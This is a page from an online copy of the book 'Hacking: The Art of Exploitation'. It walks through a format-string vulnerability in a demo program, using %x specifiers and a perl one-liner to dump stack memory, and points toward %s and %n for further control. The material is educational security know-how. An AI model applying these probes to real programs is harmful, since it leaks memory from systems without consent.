26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

The wrong way to print user-controlled input:<br />

testing<br />

[*] test_val @ 0x08049794 = -72 0xffffffb8<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Both methods seem to work with <strong>the</strong> string testing. But what happens if<br />

<strong>the</strong> string contains a format parameter? The format function should try to<br />

evaluate <strong>the</strong> format parameter and access <strong>the</strong> appropriate function argument<br />

by adding to <strong>the</strong> frame pointer. But as we saw earlier, if <strong>the</strong> appropriate<br />

function argument isn’t <strong>the</strong>re, adding to <strong>the</strong> frame pointer will reference a<br />

piece <strong>of</strong> memory in a preceding stack frame.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln testing%x<br />

The right way to print user-controlled input:<br />

testing%x<br />

The wrong way to print user-controlled input:<br />

testingbffff3e0<br />

[*] test_val @ 0x08049794 = -72 0xffffffb8<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

When <strong>the</strong> %x format parameter was used, <strong>the</strong> hexadecimal representation<br />

<strong>of</strong> a four-byte word in <strong>the</strong> stack was printed. This process can be used<br />

repeatedly to examine stack memory.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln $(perl -e 'print "%08x."x40')<br />

The right way to print user-controlled input:<br />

%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.<br />

%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.<br />

%08x.%08x.<br />

The wrong way to print user-controlled input:<br />

bffff320.b7fe75fc.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252<br />

e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.2<br />

52e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e78<br />

38.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.<br />

[*] test_val @ 0x08049794 = -72 0xffffffb8<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

This is what <strong>the</strong> lower stack memory looks like. Remember that each<br />

four-byte word is backward, due to <strong>the</strong> little-endian architecture. The bytes<br />

0x25, 0x30, 0x38, 0x78, and 0x2e seem to be repeating a lot. Wonder what those<br />

bytes are?<br />

reader@<strong>hacking</strong>:~/booksrc $ printf "\x25\x30\x38\x78\x2e\n"<br />

%08x.<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

As you can see, <strong>the</strong>y’re <strong>the</strong> memory for <strong>the</strong> format string itself. Because<br />

<strong>the</strong> format function will always be on <strong>the</strong> highest stack frame, as long as <strong>the</strong><br />

format string has been stored anywhere on <strong>the</strong> stack, it will be located below<br />

<strong>the</strong> current frame pointer (at a higher memory address). This fact can be<br />

used to control arguments to <strong>the</strong> format function. It is p<strong>art</strong>icularly useful if<br />

format parameters that pass by reference are used, such as %s or %n.<br />

Exploitation 171

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!